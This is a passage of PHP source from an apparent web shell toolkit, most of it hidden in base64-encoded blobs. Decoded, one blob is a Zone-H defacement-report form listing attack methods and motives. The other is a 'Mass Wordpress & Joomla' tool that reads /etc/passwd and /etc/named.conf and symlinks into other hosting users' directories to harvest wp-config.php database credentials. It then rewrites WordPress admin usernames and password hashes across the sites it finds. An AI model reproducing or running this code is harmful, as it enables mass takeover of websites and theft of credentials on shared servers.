ID5XZWIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iNyIgPldl
YiBTZXJ2ZXIgZXh0ZXJuYWwgbW9kdWxlIGludHJ1c2lvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2
YWx1ZT0iOCIgPk1haWwgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1
ZT0iOSIgPkZUUCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIx
MCIgPlNTSCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxMSIg
PlRlbG5ldCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxMiIg
PlJQQyBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxMyIgPlNo
YXJlcyBtaXNjb25maWd1cmF0aW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxNCIgPk90
aGVyIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjE1IiA+U1FM
IEluamVjdGlvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMTYiID5VUkwgUG9pc29uaW5n
PC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxNyIgPkZpbGUgSW5jbHVzaW9uPC9vcHRpb24+
DQoJCQk8b3B0aW9uIHZhbHVlPSIxOCIgPk90aGVyIFdlYiBBcHBsaWNhdGlvbiBidWc8L29wdGlv
bj4NCgkJCTxvcHRpb24gdmFsdWU9IjE5IiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFj
Y2VzcyBicnV0ZWZvcmNpbmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjIwIiA+UmVtb3Rl
IGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBwYXNzd29yZCANCgkJCWd1ZXNzaW5nPC9vcHRp
b24+DQoJCQk8b3B0aW9uIHZhbHVlPSIyMSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBh
Y2Nlc3Mgc29jaWFsIA0KCQkJZW5naW5lZXJpbmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9
IjIyIiA+QXR0YWNrIGFnYWluc3QgYWRtaW5pc3RyYXRvcihwYXNzd29yZCANCgkJCXN0ZWFsaW5n
L3NuaWZmaW5nKTwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMjMiID5BY2Nlc3MgY3JlZGVu
dGlhbHMgdGhyb3VnaCBNYW4gSW4gdGhlIE1pZGRsZSANCgkJCWF0dGFjazwvb3B0aW9uPg0KCQkJ
PG9wdGlvbiB2YWx1ZT0iMjQiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBndWVzc2luZzwvb3B0
aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMjUiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBicnV0
ZWZvcmNlPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIyNiIgPlJlcm91dGluZyBhZnRlciBh
dHRhY2tpbmcgdGhlIEZpcmV3YWxsPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIyNyIgPlJl
cm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIFJvdXRlcjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2
YWx1ZT0iMjgiID5ETlMgYXR0YWNrIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+
DQoJCQk8b3B0aW9uIHZhbHVlPSIyOSIgPkROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25p
bmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjMwIiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9u
Pg0KCQk8L3NlbGVjdD4NCgkJPC90ZD48L3RyPg0KCQk8dHI+PHRkPg0KCQk8c2VsZWN0IG5hbWU9
InJlYXNvbiIgY2xhc3M9ImJveCI+DQoJCQk8b3B0aW9uID4tLS0tLS0tLVNFTEVDVC0tLS0tLS0t
PC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxIiA+SGVoLi4uanVzdCBmb3IgZnVuITwvb3B0
aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMiIgPlJldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGU8
L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjMiID5Qb2xpdGljYWwgcmVhc29uczwvb3B0aW9u
Pg0KCQkJPG9wdGlvbiB2YWx1ZT0iNCIgPkFzIGEgY2hhbGxlbmdlPC9vcHRpb24+DQoJCQk8b3B0
aW9uIHZhbHVlPSI1IiA+SSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcjwvb3B0aW9u
Pg0KCQkJPG9wdGlvbiB2YWx1ZT0iNiIgPlBhdHJpb3Rpc208L29wdGlvbj4NCgkJCTxvcHRpb24g
dmFsdWU9IjciID5Ob3QgYXZhaWxhYmxlPC9vcHRpb24+DQoJCTwvc2VsZWN0PjwvdGQ+PC90cj4N
CgkJPHRyPjx0ZD4NCgkJPHRleHRhcmVhIG5hbWU9ImRvbWFpbiIgY2xhc3M9ImJveCIgY29scz0i
NDciIHJvd3M9IjkiPkxpc3QgT2YgRG9tYWluczwvdGV4dGFyZWE+PC90ZD48L3RyPg0KCQk8dHI+
PHRkPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnV0IiB2YWx1ZT0iU2VuZCBOb3cg
ISIgbmFtZT0iU2VuZE5vd1RvWm9uZUgiIHN0eWxlPSJjb2xvcjogI0ZGMDAwMCIgLz48L2ZvbnQ+
PC90ZD4JCQ0KCQk8L2Zvcm0+DQoNCg0KDQo8YnI+DQoNCjwvZGl2Pg0KDQo8L2NlbnRlcj4nOw0K
DQoNCg0KDQoNCj8+DQo8Ym9keT4NCjxwIGFsaWduPSJjZW50ZXIiPjxiPg0KPGZvbnQgY29sb3I9
IndoaXRlIiBmYWNlPSJHZW9yZ2lhLCIgc2l6ZT0iNSI+PGJyPkNvZGVkIGJ5IE1yLmhFcm88L2Zv
bnQ+PGZvbnQgc2l6ZT0iNSI+DQo8L2ZvbnQ+PC9iPjwvcD4NCjwvYm9keT4NCg0KPC9odG1sPg==';
$file = fopen("zone.php" ,"w+");
$write = fwrite ($file ,base64_decode($zone1));
fclose($file);
echo '<iframe src="zone.php" style="height:500px; width:1500px; border:0px;" name="zone">';
hErofooter();
}
function hErowp()
{
hErohead();
$wp1 = 'PD9waHANCg0KDQoNCg0KDQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KDQokcGFnZVVSTCA9ICdodHRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsNCiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VVUkwgKTsNCiRwYWdlVVJMID1zdHJfcmVwbGFjZSgkdVtjb3VudCgkdSktMV0sIiIsJHBhZ2VVUkwgKTsNCg0KJHBhZ2VGVFAgPSAnZnRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nL3B1YmxpY19odG1sLycuJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQokdSA9IGV4cGxvZGUoIi8iLCRwYWdlRlRQICk7DQokcGFnZUZUUCA9c3RyX3JlcGxhY2UoJHVbY291bnQoJHUpLTFdLCIiLCRwYWdlRlRQICk7DQoNCj8+DQogIDwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iDQogICAgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KDQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxoZWFkPg0KPHRpdGxlPk1hc3MgV29yZHByZXNzICYgSm9vbWxhPC90aXRsZT4NCg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KICBodG1sLGJvZHkgew0KICAgICBtYXJnaW46IDA7DQogICAgIHBhZGRpbmc6IDA7DQogICAgIG91dGxpbmU6IDA7DQp9DQphew0KDQogZm9udC1zaXplOiAxM3B4Ow0KDQp9DQoNCg0KYm9keSB7DQogICAgZGlyZWN0aW9uOiBsdHI7DQogICAgYmFja2dyb3VuZC1jb2xvcjojRjRGNEY0Ow0KCWNvbG9yOiByZ2IoMTUzLCAxNTMsIDE1Myk7DQogICAgdGV4dC1hbGlnbjogY2VudGVyDQp9DQoNCg0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjMDAwMDAwOw0KfQ0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3Q6aG92ZXJ7DQpib3gtc2hhZG93OiAwcHggMHB4IDRweCAjQUFBQUFBOw0KfQ0KDQoNCi5oZWRyIHsNCiAgZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiAgZm9udC1zaXplOiAyMnB4Ow0KDQoNCn0NCg0KLmNvbnQgYXsNCg0KIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiBjb2xvcjpyZ2IoMTUzLCAxNTMsIDE1Myk7DQogZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiBmb250LXNpemU6IDE2cHg7DQogdGV4dC1zaGFkb3c6IDBweCAwcHggM3B4IDsNCn0NCg0KLmNvbnQgYTpob3ZlcnsNCg0KDQogIGNvbG9yOiAjRUVFRUVFIDsNCiAgdGV4dC1zaGFkb3c6MHB4IDBweCAzcHggIzAwMDAwMCA7DQoNCg0KfQ0KDQoudG1wIHRyIHRkew0KDQpib3JkZXI6IHNvbGlkIDFweCAjQkJCQkJCOw0KDQpwYWRkaW5nOiAycHggOw0KICBmb250LXNpemU6IDEzcHg7DQp9DQoNCi50bXAgdHIgdGQgYSB7DQogIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCg0KDQoNCn0NCg0KLmZvdGVyew0KICBmb250LXNpemU6IDlwdDsNCiAgY29sb3I6ICNBQUFBQUEgOw0KICB0ZXh0LWFsaWduOiBjZW50ZXINCn0NCg0KLnRtcCB0ciB0ZDpob3ZlcnsNCg0KYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzg4ODg4ODsNCg0KfQ0KLmZvdHsNCg0KZm9udC1mYW1pbHk6VGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZjsNCg0KICBmb250LXNpemU6IDExcHQ7DQp9DQouZm9yIGEgOiBob3ZlcnsNCg0KdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4ICMzMzY2RkY7DQoNCn0NCg0KDQouaXIgew0KICBjb2xvcjogI0ZGMDAwMDsNCn0NCg0KDQoNCjwvc3R5bGU+DQoNCjwvaGVhZD4NCg0KPGJvZHkgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiPg0KDQoNCjxkaXYgY2xhc3M9J2FsbCc+DQoNCg0KPD9waHANCg0KDQoNCg0KDQplY2hvICc8ZGl2IGNsYXNzPSJjb250Ij4NCg0KDQoNCg0KIDxhIGhyZWY9Ij9ibGFja3IwMHQ9d3AiPiBNYXNzIFdvcmRwcmVzcyAgU2gzbGwgPC9hPg0KDQoNCg0KPGJyIC8+PGJyIC8+PGJyIC8+DQoNCg0KDQoNCg0KDQo8L2Rpdj4nOw0KDQppZihpc3NldCgkX1JFUVVFU1RbJ2JsYWNrcjAwdCddKSkNCnsNCg0Kc3dpdGNoICgkX1JFUVVFU1RbJ2JsYWNrcjAwdCddKQ0Kew0KDQoNCg0KDQoNCg0KDQoNCi8vLyBieXBhc3MgcmVhZA0KDQpjYXNlICdyZWFkJzoNCg0KZWNobyAicmVhZCAvZXRjL25hbWVkLmNvbmYiOw0KZWNobyAiPGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz93ZWJyMDB0PXJlYWQmc2F2ZT0xJz48dGV4dGFyZWEgY29scz0nODAnIHJvd3M9JzIwJyBuYW1lPSdmaWxlJz4iOw0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCg0KJGZpbGUgPSAnL2V0Yy9uYW1lZC5jb25mJzsNCg0KDQokcjNhZCA9IEBmb3BlbigkZmlsZSwgJ3InKTsNCmlmICgkcjNhZCl7DQokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQp9DQplbHNlIGlmICghJHIzYWQpDQp7DQokcjNhZCA9IEBzaG93X3NvdXJjZSgkZmlsZSkgOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHIzYWQgPSBAaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHNtID0gQHN5bWxpbmsoJGZpbGUsJ3N5bS50eHQnKTsNCg0KDQppZiAoJHNtKXsNCiRyM2FkID0gQGZvcGVuKCdzeW0vc3ltLnR4dCcsICdyJyk7DQokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoNCn0NCn0NCg0KDQoNCmVjaG8gIjwvdGV4dGFyZWE+PGJyIC8+PGJyIC8+PGlucHV0ICB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTYXZlJy8+IDwvZm9ybT4iOw0KDQoNCmlmKGlzc2V0KCRfR0VUWydzYXZlJ10pKXsNCg0KDQokY29udCA9IHN0cmlwY3NsYXNoZXMoJF9QT1NUWydmaWxlJ10pOw0KDQokZiA9IGZvcGVuKCduYW1lZC50eHQnLCd3Jyk7DQoNCiR3ID0gZndyaXRlKCRmLCRjb250KTsNCg0KICAgICAgICAgICAgICAgICAgaWYoJHcpew0KDQogICAgICAgICAgICAgICAgICBlY2hvICc8YnIgLz5zYXZlIGhhcyBiZWVuIHN1Y2Nlc3NmdWxseSc7DQoNCiAgICAgICAgICAgICAgICAgIH0NCg0KZmNsb3NlKCRmKTsNCg0KDQoNCg0KfQ0KDQoNCg0KYnJlYWs7DQoNCi8vIHBhc3N3ZA0KDQpjYXNlICdwYXNzd2QnOg0KDQppZihpc3NldCgkX0dFVFsnc2F2ZSddKSBhbmQgaXNzZXQoJF9QT1NUWydmaWxlJ10pIG9yIEBmaWxlc2l6ZSgncGFzc3dkLnR4dCcpID4gMCl7DQoNCg0KJGNvbnQgPSBzdHJpcGNzbGFzaGVzKCRfUE9TVFsnZmlsZSddKTsNCg0KaWYoIWZpbGVfZXhpc3RzKCdwYXNzd2QudHh0Jykpew0KDQokZiA9IEBmb3BlbigncGFzc3dkLnR4dCcsJ3cnKTsNCg0KJHcgPSBAZndyaXRlKCRmLCRjb250KTsNCg0KZmNsb3NlKCRmKTsNCn0NCmlmKCR3IG9yIEBmaWxlc2l6ZSgncGFzc3dkLnR4dCcpID4gMCl7DQovLyAqIFNIT1cgKiAvLw0KDQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nMzUlJz48dGQ+VXNlcnM8L3RkPjx0ZD5zeW1saW5rPC90ZD48dGQ+RlRQPC90ZD4iOw0KZmx1c2goKTsNCg0KJGZpbDMgPSBmaWxlKCdwYXNzd2QudHh0Jyk7DQoNCmZvcmVhY2ggKCRmaWwzIGFzICRmKXsNCg0KICAgICAkdT1leHBsb2RlKCc6JywgJGYpOw0KICAgICAkdXNlciA9ICR1WycwJ107DQoNCg0KDQplY2hvICINCjx0cj4NCg0KDQoNCjx0ZCB3aWR0aD0nMTUlJz4NCiR1c2VyDQo8L3RkPg0KDQoNCg0KDQoNCg0KPHRkIHdpZHRoPScxMCUnPg0KPGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8kdXNlci9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPlN5bWxpbmsgPC9hPg0KPC90ZD4NCg0KPHRkIHdpZHRoPScxMCUnPg0KPGEgaHJlZj0nJHBhZ2VGVFAvc3ltL3Jvb3QvaG9tZS8kdXNlci9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPkZUUDwvYT4NCjwvdGQ+DQoNCg0KDQo8L3RyPjwvZGl2PiAiOw0KDQoNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQoNCn0NCg0KDQoNCg0KDQoNCmRpZSAoIjwvdHI+PC9kaXY+Iik7DQoNCg0KICAgICAgICAgICAgICAgICAgfQ0KDQoNCg0KDQoNCn0NCg0KDQoNCmVjaG8gInJlYWQgL2V0Yy9wYXNzd2QiOw0KZWNobyAiPGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz93ZWJyMDB0PXBhc3N3ZCZzYXZlPTEnPjx0ZXh0YXJlYSBjb2xzPSc4MCcgcm93cz0nMjAnIG5hbWU9J2ZpbGUnPiI7DQpmbHVzaCgpOw0KDQokZmlsZSA9ICcvZXRjL3Bhc3N3ZCc7DQoNCg0KJHIzYWQgPSBAZm9wZW4oJGZpbGUsICdyJyk7DQppZiAoJHIzYWQpew0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KZWNobyAiIi5odG1sZW50aXRpZXMoJGNvbnRlbnQpLiIiOw0KfQ0KZWxzZWlmKCEkcjNhZCkNCnsNCiRyM2FkID0gQHNob3dfc291cmNlKCRmaWxlKSA7DQp9DQplbHNlaWYoISRyM2FkKQ0Kew0KJHIzYWQgPSBAaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KfQ0KZWxzZWlmKCEkcjNhZCkNCnsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJHVpZD0wOyR1aWQ8MTAwMDskdWlkKyspew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFyYSA9IHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhcmEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICIkdmFsOiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiB9DQoNCg0KZmx1c2goKTsNCg0KDQplY2hvICI8L3RleHRhcmVhPjxiciAvPjxiciAvPjxpbnB1dCAgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJm5ic3A7Jm5ic3A7c3ltbGluayZuYnNwOyZuYnNwOycvPiA8L2Zvcm0+IjsNCmZsdXNoKCk7DQoNCmJyZWFrOw0KDQoNCg0KDQoNCmNhc2UgJ3dwJzoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBpbmRleCAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjMw0KDQoNCg0KDQoNCg0KIyMjIyMjIyMgIGFkbWluICMjIyMjIyMjIyMzMw0KDQppZihpc3NldCgkX1BPU1RbJ3MnXSkpew0KDQokZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cygnd3AudHh0Jyk7DQoNCiRleCAgID0gZXhwbG9kZSgiXG4iLCRmaWxlKTsNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBkb21pbiA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCg0KZm9yZWFjaCAoJGV4IGFzICRleHApew0KDQokZXMgICA9IGV4cGxvZGUoInx8IiwkZXhwKTsNCg0KJGNvbmZpZyA9ICRlc1swXTsNCg0KJGRvbWluID0gJGVzWzFdOw0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQokcmVhZGNvbmZpZyAgPSBAZmlsZV9nZXRfY29udGVudHModHJpbSgkY29uZmlnKSk7DQoNCmlmKGVyZWcoJ3dwLXNldHRpbmdzLnBocCcsJHJlYWRjb25maWcpKXsNCg0KDQoNCiRwYXNzICAgID0gIGV4KCRyZWFkY29uZmlnLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOw0KDQokdXNlcmRiICA9ICBleCgkcmVhZGNvbmZpZywiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOw0KDQokZGIgICAgICA9ICBleCgkcmVhZGNvbmZpZywiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOw0KDQokZml4ICAgICA9ICBleCgkcmVhZGNvbmZpZywnJHRhYmxlX3ByZWZpeCAgPSBcJycsIic7Iik7DQoNCiR0YWIgICAgID0gJGZpeC4ndXNlcnMnOw0KDQokY29uICAgICA9IEBteXNxbF9jb25uZWN0KCdsb2NhbGhvc3QnLCR1c2VyZGIsJHBhc3MpOw0KDQokZGIgICAgICA9IEBteXNxbF9zZWxlY3RfZGIoJGRiLCRjb24pOw0KDQokcXVlcnkgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCBTRVQgYHVzZXJfbG9naW5gID0nc2VjLXcuY29tJyIpIG9yIGRpZTsNCg0KJHF1ZXJ5ICAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgU0VUIGB1c2VyX3Bhc3NgID0nJDEkNHovLjVpLi4kOWFIWUIuZlVIRW1OWi5lSUtZVHd4LyciKSBvciBkaWU7DQoNCg0KDQppZiAoJHF1ZXJ5KXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlN1Y2NlZWQgPC9iPnVzZXIgW0JMQUNLLkphR3VBcl0gcGFzcyBbMV08L2I+Jzt9DQoNCmVsc2UNCg0Kew0KDQokciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8L2I+JzsNCg0KfQ0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQoNCg0KDQoNCn1lbHNlew0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD48YiBzdHlsZT0nY29sb3I6cmVkJz5mYWlsZWQyPC9iPjwvdGQ+PC90cj4iOw0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KfQ0KDQp9DQoNCg0KDQoNCg0KDQoNCg0KDQoNCmRpZSgpOw0KDQp9DQoNCmlmKCFpc19maWxlKCduYW1lZC50eHQnKSl7DQoNCiRkMDBtID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KDQp9ZWxzZXsNCg0KJGQwMG0gPSBAZmlsZSgibmFtZWQudHh0Iik7DQoNCg0KfQ0KaWYoISRkMDBtKQ0Kew0KDQogICAgICAgICAgICAgICAgZGllICgiPG1ldGEgaHR0cC1lcXVpdj0ncmVmcmVzaCcgY29udGVudD0nMDsgdXJsPT93ZWJyMDB0PXJlYWQnLz4iKTsNCn0NCmVsc2UNCg0Kew0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCjxmb3JtIG1ldGhvZD0nUE9TVCcgYWN0aW9uPSckcGc/d2VicjAwdD13cCc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nTWFzcyBDaGFuZ2UgQWRtaW4nIC8+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyB2YWx1ZT0nMScgbmFtZT0ncycgLz4NCjwvZm9ybT4NCjxiciAvPjxiciAvPg0KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD4gRG9tYWlucyA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KJGYgPSBmb3Blbignd3AudHh0JywndycpOw0KDQpmb3JlYWNoKCRkMDBtIGFzICRkb20pew0KDQppZihlcmVnaSgiem9uZSIsJGRvbSkpew0KDQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOw0KDQppZihzdHJsZW4odHJpbSgkZG9tc3dzWzFdWzBdKSkgPiAyKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbXN3c1sxXVswXSkpOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokd3BsPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIjsNCiR3cHA9Z2V0X2hlYWRlcnMoJHdwbCk7DQokd3A9JHdwcFswXTsNCg0KJHdwMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIjsNCiR3cHAyPWdldF9oZWFkZXJzKCR3cDIpOw0KJHdwMTI9JHdwcDJbMF07DQoNCiR3cDM9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZyI7DQokd3BwMz1nZXRfaGVhZGVycygkd3AzKTsNCiR3cDEzPSR3cHAzWzBdOw0KDQoNCiAvLy8vLy8vLy8vIHdwIC8vLy8vLy8vLy8vLw0KDQokcG9zID0gc3RycG9zKCR3cCwgIjIwMCIpOw0KJGNvbmZpZz0iJm5ic3A7IjsNCg0KaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9PSB0cnVlICkNCnsNCiAkY29uZmlnPSAkd3BsOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTIsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AyOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTMsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AzOw0KfQ0KZWxzZQ0Kew0KY29udGludWU7DQoNCn0NCmZsdXNoKCk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJGRvbSA9ICRkb21zd3NbMV1bMF07DQoNCiR3ID0gZndyaXRlKCRmLCIkY29uZmlnfHwkZG9tIFxuIik7DQppZigkdyl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7fQ0KDQoNCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCg0KDQoNCg0KZmx1c2goKTsNCg0KDQp9DQp9DQp9DQp9DQoN